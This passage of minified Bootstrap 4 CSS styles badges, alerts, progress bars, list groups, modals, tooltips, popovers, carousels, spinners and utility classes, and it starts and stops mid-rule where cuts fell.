.page-link{border-top-right-radius:.2rem;border-bottom-right-radius:.2rem}.badge{display:inline-block;padding:.25em .4em;font-size:75%;font-weight:700;line-height:1;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25rem;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.badge{transition:none}}a.badge:focus,a.badge:hover{text-decoration:none}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.badge-pill{padding-right:.6em;padding-left:.6em;border-radius:10rem}.badge-primary{color:#fff;background-color:#007bff}a.badge-primary:focus,a.badge-primary:hover{color:#fff;background-color:#0062cc}a.badge-primary.focus,a.badge-primary:focus{outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.badge-secondary{color:#fff;background-color:#6c757d}a.badge-secondary:focus,a.badge-secondary:hover{color:#fff;background-color:#545b62}a.badge-secondary.focus,a.badge-secondary:focus{outline:0;box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.badge-success{color:#fff;background-color:#28a745}a.badge-success:focus,a.badge-success:hover{color:#fff;background-color:#1e7e34}a.badge-success.focus,a.badge-success:focus{outline:0;box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.badge-info{color:#fff;background-color:#17a2b8}a.badge-info:focus,a.badge-info:hover{color:#fff;background-color:#117a8b}a.badge-info.focus,a.badge-info:focus{outline:0;box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.badge-warning{color:#212529;background-color:#ffc107}a.badge-warning:focus,a.badge-warning:hover{color:#212529;background-color:#d39e00}a.badge-warning.focus,a.badge-warning:focus{outline:0;box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.badge-danger{color:#fff;background-color:#dc3545}a.badge-danger:focus,a.badge-danger:hover{color:#fff;background-color:#bd2130}a.badge-danger.focus,a.badge-danger:focus{outline:0;box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.badge-light{color:#212529;background-color:#f8f9fa}a.badge-light:focus,a.badge-light:hover{color:#212529;background-color:#dae0e5}a.badge-light.focus,a.badge-light:focus{outline:0;box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.badge-dark{color:#fff;background-color:#343a40}a.badge-dark:focus,a.badge-dark:hover{color:#fff;background-color:#1d2124}a.badge-dark.focus,a.badge-dark:focus{outline:0;box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.jumbotron{padding:2rem 1rem;margin-bottom:2rem;background-color:#e9ecef;border-radius:.3rem}@media (min-width:576px){.jumbotron{padding:4rem 2rem}}.jumbotron-fluid{padding-right:0;padding-left:0;border-radius:0}.alert{position:relative;padding:.75rem 1.25rem;margin-bottom:1rem;border:1px solid transparent;border-radius:.25rem}.alert-heading{color:inherit}.alert-link{font-weight:700}.alert-dismissible{padding-right:4rem}.alert-dismissible .close{position:absolute;top:0;right:0;z-index:2;padding:.75rem 1.25rem;color:inherit}.alert-primary{color:#004085;background-color:#cce5ff;border-color:#b8daff}.alert-primary hr{border-top-color:#9fcdff}.alert-primary .alert-link{color:#002752}.alert-secondary{color:#383d41;background-color:#e2e3e5;border-color:#d6d8db}.alert-secondary hr{border-top-color:#c8cbcf}.alert-secondary .alert-link{color:#202326}.alert-success{color:#155724;background-color:#d4edda;border-color:#c3e6cb}.alert-success hr{border-top-color:#b1dfbb}.alert-success .alert-link{color:#0b2e13}.alert-info{color:#0c5460;background-color:#d1ecf1;border-color:#bee5eb}.alert-info hr{border-top-color:#abdde5}.alert-info .alert-link{color:#062c33}.alert-warning{color:#856404;background-color:#fff3cd;border-color:#ffeeba}.alert-warning hr{border-top-color:#ffe8a1}.alert-warning .alert-link{color:#533f03}.alert-danger{color:#721c24;background-color:#f8d7da;border-color:#f5c6cb}.alert-danger hr{border-top-color:#f1b0b7}.alert-danger .alert-link{color:#491217}.alert-light{color:#818182;background-color:#fefefe;border-color:#fdfdfe}.alert-light hr{border-top-color:#ececf6}.alert-light .alert-link{color:#686868}.alert-dark{color:#1b1e21;background-color:#d6d8d9;border-color:#c6c8ca}.alert-dark hr{border-top-color:#b9bbbe}.alert-dark .alert-link{color:#040505}@-webkit-keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}.progress{display:-ms-flexbox;display:flex;height:1rem;overflow:hidden;line-height:0;font-size:.75rem;background-color:#e9ecef;border-radius:.25rem}.progress-bar{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;-ms-flex-pack:center;justify-content:center;overflow:hidden;color:#fff;text-align:center;white-space:nowrap;background-color:#007bff;transition:width .6s ease}@media (prefers-reduced-motion:reduce){.progress-bar{transition:none}}.progress-bar-striped{background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-size:1rem 1rem}.progress-bar-animated{-webkit-animation:1s linear infinite progress-bar-stripes;animation:1s linear infinite progress-bar-stripes}@media (prefers-reduced-motion:reduce){.progress-bar-animated{-webkit-animation:none;animation:none}}.media{display:-ms-flexbox;display:flex;-ms-flex-align:start;align-items:flex-start}.media-body{-ms-flex:1;flex:1}.list-group{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0;border-radius:.25rem}.list-group-item-action{width:100%;color:#495057;text-align:inherit}.list-group-item-action:focus,.list-group-item-action:hover{z-index:1;color:#495057;text-decoration:none;background-color:#f8f9fa}.list-group-item-action:active{color:#212529;background-color:#e9ecef}.list-group-item{position:relative;display:block;padding:.75rem 1.25rem;background-color:#fff;border:1px solid rgba(0,0,0,.125)}.list-group-item:first-child{border-top-left-radius:inherit;border-top-right-radius:inherit}.list-group-item:last-child{border-bottom-right-radius:inherit;border-bottom-left-radius:inherit}.list-group-item.disabled,.list-group-item:disabled{color:#6c757d;pointer-events:none;background-color:#fff}.list-group-item.active{z-index:2;color:#fff;background-color:#007bff;border-color:#007bff}.list-group-item+.list-group-item{border-top-width:0}.list-group-item+.list-group-item.active{margin-top:-1px;border-top-width:1px}.list-group-horizontal{-ms-flex-direction:row;flex-direction:row}.list-group-horizontal>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal>.list-group-item.active{margin-top:0}.list-group-horizontal>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}@media (min-width:576px){.list-group-horizontal-sm{-ms-flex-direction:row;flex-direction:row}.list-group-horizontal-sm>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-sm>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-sm>.list-group-item.active{margin-top:0}.list-group-horizontal-sm>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-sm>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}@media (min-width:768px){.list-group-horizontal-md{-ms-flex-direction:row;flex-direction:row}.list-group-horizontal-md>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-md>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-md>.list-group-item.active{margin-top:0}.list-group-horizontal-md>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-md>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}@media (min-width:992px){.list-group-horizontal-lg{-ms-flex-direction:row;flex-direction:row}.list-group-horizontal-lg>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-lg>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-lg>.list-group-item.active{margin-top:0}.list-group-horizontal-lg>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-lg>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}@media (min-width:1200px){.list-group-horizontal-xl{-ms-flex-direction:row;flex-direction:row}.list-group-horizontal-xl>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-xl>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-xl>.list-group-item.active{margin-top:0}.list-group-horizontal-xl>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-xl>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}.list-group-flush{border-radius:0}.list-group-flush>.list-group-item{border-width:0 0 1px}.list-group-flush>.list-group-item:last-child{border-bottom-width:0}.list-group-item-primary{color:#004085;background-color:#b8daff}.list-group-item-primary.list-group-item-action:focus,.list-group-item-primary.list-group-item-action:hover{color:#004085;background-color:#9fcdff}.list-group-item-primary.list-group-item-action.active{color:#fff;background-color:#004085;border-color:#004085}.list-group-item-secondary{color:#383d41;background-color:#d6d8db}.list-group-item-secondary.list-group-item-action:focus,.list-group-item-secondary.list-group-item-action:hover{color:#383d41;background-color:#c8cbcf}.list-group-item-secondary.list-group-item-action.active{color:#fff;background-color:#383d41;border-color:#383d41}.list-group-item-success{color:#155724;background-color:#c3e6cb}.list-group-item-success.list-group-item-action:focus,.list-group-item-success.list-group-item-action:hover{color:#155724;background-color:#b1dfbb}.list-group-item-success.list-group-item-action.active{color:#fff;background-color:#155724;border-color:#155724}.list-group-item-info{color:#0c5460;background-color:#bee5eb}.list-group-item-info.list-group-item-action:focus,.list-group-item-info.list-group-item-action:hover{color:#0c5460;background-color:#abdde5}.list-group-item-info.list-group-item-action.active{color:#fff;background-color:#0c5460;border-color:#0c5460}.list-group-item-warning{color:#856404;background-color:#ffeeba}.list-group-item-warning.list-group-item-action:focus,.list-group-item-warning.list-group-item-action:hover{color:#856404;background-color:#ffe8a1}.list-group-item-warning.list-group-item-action.active{color:#fff;background-color:#856404;border-color:#856404}.list-group-item-danger{color:#721c24;background-color:#f5c6cb}.list-group-item-danger.list-group-item-action:focus,.list-group-item-danger.list-group-item-action:hover{color:#721c24;background-color:#f1b0b7}.list-group-item-danger.list-group-item-action.active{color:#fff;background-color:#721c24;border-color:#721c24}.list-group-item-light{color:#818182;background-color:#fdfdfe}.list-group-item-light.list-group-item-action:focus,.list-group-item-light.list-group-item-action:hover{color:#818182;background-color:#ececf6}.list-group-item-light.list-group-item-action.active{color:#fff;background-color:#818182;border-color:#818182}.list-group-item-dark{color:#1b1e21;background-color:#c6c8ca}.list-group-item-dark.list-group-item-action:focus,.list-group-item-dark.list-group-item-action:hover{color:#1b1e21;background-color:#b9bbbe}.list-group-item-dark.list-group-item-action.active{color:#fff;background-color:#1b1e21;border-color:#1b1e21}.close{float:right;font-size:1.5rem;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;opacity:.5}.close:hover{color:#000;text-decoration:none}.close:not(:disabled):not(.disabled):focus,.close:not(:disabled):not(.disabled):hover{opacity:.75}button.close{padding:0;background-color:transparent;border:0}a.close.disabled{pointer-events:none}.toast{-ms-flex-preferred-size:350px;flex-basis:350px;max-width:350px;font-size:.875rem;background-color:rgba(255,255,255,.85);background-clip:padding-box;border:1px solid rgba(0,0,0,.1);box-shadow:0 .25rem .75rem rgba(0,0,0,.1);opacity:0;border-radius:.25rem}.toast:not(:last-child){margin-bottom:.75rem}.toast.showing{opacity:1}.toast.show{display:block;opacity:1}.toast.hide{display:none}.toast-header{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;padding:.25rem .75rem;color:#6c757d;background-color:rgba(255,255,255,.85);background-clip:padding-box;border-bottom:1px solid rgba(0,0,0,.05);border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.toast-body{padding:.75rem}.modal-open{overflow:hidden}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal{position:fixed;top:0;left:0;z-index:1050;display:none;width:100%;height:100%;overflow:hidden;outline:0}.modal-dialog{position:relative;width:auto;margin:.5rem;pointer-events:none}.modal.fade .modal-dialog{transition:-webkit-transform .3s ease-out;transition:transform .3s ease-out;transition:transform .3s ease-out,-webkit-transform .3s ease-out;-webkit-transform:translate(0,-50px);transform:translate(0,-50px)}@media (prefers-reduced-motion:reduce){.modal.fade .modal-dialog{transition:none}}.modal.show .modal-dialog{-webkit-transform:none;transform:none}.modal.modal-static .modal-dialog{-webkit-transform:scale(1.02);transform:scale(1.02)}.modal-dialog-scrollable{display:-ms-flexbox;display:flex;max-height:calc(100% - 1rem)}.modal-dialog-scrollable .modal-content{max-height:calc(100vh - 1rem);overflow:hidden}.modal-dialog-scrollable .modal-footer,.modal-dialog-scrollable .modal-header{-ms-flex-negative:0;flex-shrink:0}.modal-dialog-scrollable .modal-body{overflow-y:auto}.modal-dialog-centered{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;min-height:calc(100% - 1rem)}.modal-dialog-centered::before{display:block;height:calc(100vh - 1rem);height:-webkit-min-content;height:-moz-min-content;height:min-content;content:""}.modal-dialog-centered.modal-dialog-scrollable{-ms-flex-direction:column;flex-direction:column;-ms-flex-pack:center;justify-content:center;height:100%}.modal-dialog-centered.modal-dialog-scrollable .modal-content{max-height:none}.modal-dialog-centered.modal-dialog-scrollable::before{content:none}.modal-content{position:relative;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;width:100%;pointer-events:auto;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.2);border-radius:.3rem;outline:0}.modal-backdrop{position:fixed;top:0;left:0;z-index:1040;width:100vw;height:100vh;background-color:#000}.modal-backdrop.fade{opacity:0}.modal-backdrop.show{opacity:.5}.modal-header{display:-ms-flexbox;display:flex;-ms-flex-align:start;align-items:flex-start;-ms-flex-pack:justify;justify-content:space-between;padding:1rem 1rem;border-bottom:1px solid #dee2e6;border-top-left-radius:calc(.3rem - 1px);border-top-right-radius:calc(.3rem - 1px)}.modal-header .close{padding:1rem 1rem;margin:-1rem -1rem -1rem auto}.modal-title{margin-bottom:0;line-height:1.5}.modal-body{position:relative;-ms-flex:1 1 auto;flex:1 1 auto;padding:1rem}.modal-footer{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:center;align-items:center;-ms-flex-pack:end;justify-content:flex-end;padding:.75rem;border-top:1px solid #dee2e6;border-bottom-right-radius:calc(.3rem - 1px);border-bottom-left-radius:calc(.3rem - 1px)}.modal-footer>*{margin:.25rem}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width:576px){.modal-dialog{max-width:500px;margin:1.75rem auto}.modal-dialog-scrollable{max-height:calc(100% - 3.5rem)}.modal-dialog-scrollable .modal-content{max-height:calc(100vh - 3.5rem)}.modal-dialog-centered{min-height:calc(100% - 3.5rem)}.modal-dialog-centered::before{height:calc(100vh - 3.5rem);height:-webkit-min-content;height:-moz-min-content;height:min-content}.modal-sm{max-width:300px}}@media (min-width:992px){.modal-lg,.modal-xl{max-width:800px}}@media (min-width:1200px){.modal-xl{max-width:1140px}}.tooltip{position:absolute;z-index:1070;display:block;margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans","Liberation Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;white-space:normal;word-spacing:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;opacity:0}.tooltip.show{opacity:.9}.tooltip .arrow{position:absolute;display:block;width:.8rem;height:.4rem}.tooltip .arrow::before{position:absolute;content:"";border-color:transparent;border-style:solid}.bs-tooltip-auto[x-placement^=top],.bs-tooltip-top{padding:.4rem 0}.bs-tooltip-auto[x-placement^=top] .arrow,.bs-tooltip-top .arrow{bottom:0}.bs-tooltip-auto[x-placement^=top] .arrow::before,.bs-tooltip-top .arrow::before{top:0;border-width:.4rem .4rem 0;border-top-color:#000}.bs-tooltip-auto[x-placement^=right],.bs-tooltip-right{padding:0 .4rem}.bs-tooltip-auto[x-placement^=right] .arrow,.bs-tooltip-right .arrow{left:0;width:.4rem;height:.8rem}.bs-tooltip-auto[x-placement^=right] .arrow::before,.bs-tooltip-right .arrow::before{right:0;border-width:.4rem .4rem .4rem 0;border-right-color:#000}.bs-tooltip-auto[x-placement^=bottom],.bs-tooltip-bottom{padding:.4rem 0}.bs-tooltip-auto[x-placement^=bottom] .arrow,.bs-tooltip-bottom .arrow{top:0}.bs-tooltip-auto[x-placement^=bottom] .arrow::before,.bs-tooltip-bottom .arrow::before{bottom:0;border-width:0 .4rem .4rem;border-bottom-color:#000}.bs-tooltip-auto[x-placement^=left],.bs-tooltip-left{padding:0 .4rem}.bs-tooltip-auto[x-placement^=left] .arrow,.bs-tooltip-left .arrow{right:0;width:.4rem;height:.8rem}.bs-tooltip-auto[x-placement^=left] .arrow::before,.bs-tooltip-left .arrow::before{left:0;border-width:.4rem 0 .4rem .4rem;border-left-color:#000}.tooltip-inner{max-width:200px;padding:.25rem .5rem;color:#fff;text-align:center;background-color:#000;border-radius:.25rem}.popover{position:absolute;top:0;left:0;z-index:1060;display:block;max-width:276px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans","Liberation Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;white-space:normal;word-spacing:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.2);border-radius:.3rem}.popover .arrow{position:absolute;display:block;width:1rem;height:.5rem;margin:0 .3rem}.popover .arrow::after,.popover .arrow::before{position:absolute;display:block;content:"";border-color:transparent;border-style:solid}.bs-popover-auto[x-placement^=top],.bs-popover-top{margin-bottom:.5rem}.bs-popover-auto[x-placement^=top]>.arrow,.bs-popover-top>.arrow{bottom:calc(-.5rem - 1px)}.bs-popover-auto[x-placement^=top]>.arrow::before,.bs-popover-top>.arrow::before{bottom:0;border-width:.5rem .5rem 0;border-top-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=top]>.arrow::after,.bs-popover-top>.arrow::after{bottom:1px;border-width:.5rem .5rem 0;border-top-color:#fff}.bs-popover-auto[x-placement^=right],.bs-popover-right{margin-left:.5rem}.bs-popover-auto[x-placement^=right]>.arrow,.bs-popover-right>.arrow{left:calc(-.5rem - 1px);width:.5rem;height:1rem;margin:.3rem 0}.bs-popover-auto[x-placement^=right]>.arrow::before,.bs-popover-right>.arrow::before{left:0;border-width:.5rem .5rem .5rem 0;border-right-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=right]>.arrow::after,.bs-popover-right>.arrow::after{left:1px;border-width:.5rem .5rem .5rem 0;border-right-color:#fff}.bs-popover-auto[x-placement^=bottom],.bs-popover-bottom{margin-top:.5rem}.bs-popover-auto[x-placement^=bottom]>.arrow,.bs-popover-bottom>.arrow{top:calc(-.5rem - 1px)}.bs-popover-auto[x-placement^=bottom]>.arrow::before,.bs-popover-bottom>.arrow::before{top:0;border-width:0 .5rem .5rem .5rem;border-bottom-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=bottom]>.arrow::after,.bs-popover-bottom>.arrow::after{top:1px;border-width:0 .5rem .5rem .5rem;border-bottom-color:#fff}.bs-popover-auto[x-placement^=bottom] .popover-header::before,.bs-popover-bottom .popover-header::before{position:absolute;top:0;left:50%;display:block;width:1rem;margin-left:-.5rem;content:"";border-bottom:1px solid #f7f7f7}.bs-popover-auto[x-placement^=left],.bs-popover-left{margin-right:.5rem}.bs-popover-auto[x-placement^=left]>.arrow,.bs-popover-left>.arrow{right:calc(-.5rem - 1px);width:.5rem;height:1rem;margin:.3rem 0}.bs-popover-auto[x-placement^=left]>.arrow::before,.bs-popover-left>.arrow::before{right:0;border-width:.5rem 0 .5rem .5rem;border-left-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=left]>.arrow::after,.bs-popover-left>.arrow::after{right:1px;border-width:.5rem 0 .5rem .5rem;border-left-color:#fff}.popover-header{padding:.5rem .75rem;margin-bottom:0;font-size:1rem;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-top-left-radius:calc(.3rem - 1px);border-top-right-radius:calc(.3rem - 1px)}.popover-header:empty{display:none}.popover-body{padding:.5rem .75rem;color:#212529}.carousel{position:relative}.carousel.pointer-event{-ms-touch-action:pan-y;touch-action:pan-y}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner::after{display:block;clear:both;content:""}.carousel-item{position:relative;display:none;float:left;width:100%;margin-right:-100%;-webkit-backface-visibility:hidden;backface-visibility:hidden;transition:-webkit-transform .6s ease-in-out;transition:transform .6s ease-in-out;transition:transform .6s ease-in-out,-webkit-transform .6s ease-in-out}@media (prefers-reduced-motion:reduce){.carousel-item{transition:none}}.carousel-item-next,.carousel-item-prev,.carousel-item.active{display:block}.active.carousel-item-right,.carousel-item-next:not(.carousel-item-left){-webkit-transform:translateX(100%);transform:translateX(100%)}.active.carousel-item-left,.carousel-item-prev:not(.carousel-item-right){-webkit-transform:translateX(-100%);transform:translateX(-100%)}.carousel-fade .carousel-item{opacity:0;transition-property:opacity;-webkit-transform:none;transform:none}.carousel-fade .carousel-item-next.carousel-item-left,.carousel-fade .carousel-item-prev.carousel-item-right,.carousel-fade .carousel-item.active{z-index:1;opacity:1}.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-right{z-index:0;opacity:0;transition:opacity 0s .6s}@media (prefers-reduced-motion:reduce){.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-right{transition:none}}.carousel-control-next,.carousel-control-prev{position:absolute;top:0;bottom:0;z-index:1;display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;width:15%;padding:0;color:#fff;text-align:center;background:0 0;border:0;opacity:.5;transition:opacity .15s ease}@media (prefers-reduced-motion:reduce){.carousel-control-next,.carousel-control-prev{transition:none}}.carousel-control-next:focus,.carousel-control-next:hover,.carousel-control-prev:focus,.carousel-control-prev:hover{color:#fff;text-decoration:none;outline:0;opacity:.9}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-control-next-icon,.carousel-control-prev-icon{display:inline-block;width:20px;height:20px;background:50%/100% 100% no-repeat}.carousel-control-prev-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath d='M5.25 0l-4 4 4 4 1.5-1.5L4.25 4l2.5-2.5L5.25 0z'/%3e%3c/svg%3e")}.carousel-control-next-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath d='M2.75 0l-1.5 1.5L3.75 4l-2.5 2.5L2.75 8l4-4-4-4z'/%3e%3c/svg%3e")}.carousel-indicators{position:absolute;right:0;bottom:0;left:0;z-index:15;display:-ms-flexbox;display:flex;-ms-flex-pack:center;justify-content:center;padding-left:0;margin-right:15%;margin-left:15%;list-style:none}.carousel-indicators li{box-sizing:content-box;-ms-flex:0 1 auto;flex:0 1 auto;width:30px;height:3px;margin-right:3px;margin-left:3px;text-indent:-999px;cursor:pointer;background-color:#fff;background-clip:padding-box;border-top:10px solid transparent;border-bottom:10px solid transparent;opacity:.5;transition:opacity .6s ease}@media (prefers-reduced-motion:reduce){.carousel-indicators li{transition:none}}.carousel-indicators .active{opacity:1}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center}@-webkit-keyframes spinner-border{to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes spinner-border{to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.spinner-border{display:inline-block;width:2rem;height:2rem;vertical-align:-.125em;border:.25em solid currentcolor;border-right-color:transparent;border-radius:50%;-webkit-animation:.75s linear infinite spinner-border;animation:.75s linear infinite spinner-border}.spinner-border-sm{width:1rem;height:1rem;border-width:.2em}@-webkit-keyframes spinner-grow{0%{-webkit-transform:scale(0);transform:scale(0)}50%{opacity:1;-webkit-transform:none;transform:none}}@keyframes spinner-grow{0%{-webkit-transform:scale(0);transform:scale(0)}50%{opacity:1;-webkit-transform:none;transform:none}}.spinner-grow{display:inline-block;width:2rem;height:2rem;vertical-align:-.125em;background-color:currentcolor;border-radius:50%;opacity:0;-webkit-animation:.75s linear infinite spinner-grow;animation:.75s linear infinite spinner-grow}.spinner-grow-sm{width:1rem;height:1rem}@media (prefers-reduced-motion:reduce){.spinner-border,.spinner-grow{-webkit-animation-duration:1.5s;animation-duration:1.5s}}.align-baseline{vertical-align:baseline!important}.align-top{vertical-align:top!important}.align-middle{vertical-align:middle!important}.align-bottom{vertical-align:bottom!important}.align-text-bottom{vertical-align:text-bottom!important}.align-text-top{vertical-align:text-top!important}.bg-primary{background-color:#007bff!important}a.bg-primary:focus,a.bg-primary:hover,button.bg-primary:focus,button.bg-primary:hover{background-color:#0062cc!important}.bg-secondary{background-color:#6c757d!important}a.bg-secondary:focus,a.bg-secondary:hover,button.bg-secondary:focus,button.bg-secondary:hover{background-color:#545b62!important}.bg-success{background-color:#28a745!important}a.bg-success:focus,a.bg-success:hover,button.bg-success:focus,button.bg-success:hover{background-color:#1e7e34!important}.bg-info{background-color:#17a2b8!important}a.bg-info:focus,a.bg-info:hover,button.bg-info:focus,button.bg-info:hover{background-color:#117a8b!important}.bg-warning{background-color:#ffc107!important}a.bg-warning:focus,a.bg-warning:hover,button.bg-warning:focus,button.bg-warning:hover{background-color:#d39e00!important}.bg-danger{background-color:#dc3545!important}a.bg-danger:focus,a.bg-danger:hover,button.bg-danger:focus,button.bg-danger:hover{background-color:#bd2130!important}.bg-light{background-color:#f8f9fa!important}a.bg-light:focus,a.bg-light:hover,button.bg-light:focus,button.bg-light:hover{background-color:#dae0e5!important}.bg-dark{background-color:#343a40!important}a.bg-dark:focus,a.bg-dark:hover,button.bg-dark:focus,button.bg-dark:hover{background-color:#1d2124!important}.bg-white{background-color:#fff!important}.bg-transparent{background-color:transparent!important}.border{border:1px solid #dee2e6!important}.border-top{border-top:1px solid #dee2e6!important}.border-right{border-right:1px solid #dee2e6!important}.border-bottom{border-bottom:1px solid #dee2e6!important}.border-left{border-left:1px solid #dee2e6!important}.border-0{border:0!important}.border-top-0{border-top:0!important}.border-right-0{border-right:0!important}.border-bottom-0{border-bottom:0!important}.border-left-0{border-left:0!important}.border-primary{border-color:#007bff!important}.border-secondary{border-color:#6c757d!important}.border-success{border-color:#28a745!important}.border-info{border-color:#17a2b8!important}.border-warning{border-color:#ffc107!important}.border-danger{border-color:#dc3545!important}.border-light{border-color:#f8f9fa!important}.border-dark{border-color:#343a40!important}.border-white{border-color:#fff!important}.rounded-sm{border-radius:.2rem!important}.rounded{border-radius:.25rem!important}.rounded-top{border-top-left-radius:.25rem!important;border-top-right-radius:.25rem!important}.rounded-right{border-top-right-radius:.25rem!important;border-bottom-right-radius:.25rem!important}.rounded-bottom{border-bottom-right-radius:.25rem!important;border-bottom-left-radius:.25rem!important}.rounded-left{border-top-left-radius:.25rem!important;border-bottom-left-radius:.25rem!important}.rounded-lg{border-radius:.3rem!important}.rounded-circle{border-radius:50%!important}.rounded-pill{border-radius:50rem!important}.rounded-0{border-radius:0!important}.clearfix::after{display:block;clear:both;content:""}.d-none{display:none!important}.d-inline{display:inline!important}.d-inline-block{display:inline-block!important}.d-block{display:block!important}.d-table{display:table!important}.d-table-row{display:table-row!important}.d-table-cell{display:table-cell!important}.d-flex{display:-ms-flexbox!important;display:flex!important}.d-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}@media (min-width:576px){.d-sm-none{display:none!important}.d-sm-inline{display:inline!important}.d-sm-inline-block{display:inline-block!important}.d-sm-block{display:block!important}.d-sm-table{display:table!important}.d-sm-table-row{display:table-row!important}.d-sm-table-cell{display:table-cell!important}.d-sm-flex{display:-ms-flexbox!important;display:flex!important}.d-sm-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:768px){.d-md-none{display:none!important}.d-md-inline{display:inline!important}.d-md-inline-block{display:inline-block!important}.d-md-block{display:block!important}.d-md-table{display:table!important}.d-md-table-row{display:table-row!important}.d-md-table-cell{display:table-cell!important}.d-md-flex{display:-ms-flexbox!important;display:flex!important}.d-md-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:992px){.d-lg-none{display:none!important}.d-lg-inline{display:inline!important}.d-lg-inline-block{display:inline-block!important}.d-lg-block{display:block!important}.d-lg-table{display:table!important}.d-lg-table-row{display:table-row!important}.d-lg-table-cell{display:table-cell!important}.d-lg-flex{display:-ms-flexbox!important;display:flex!important}.d-lg-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media 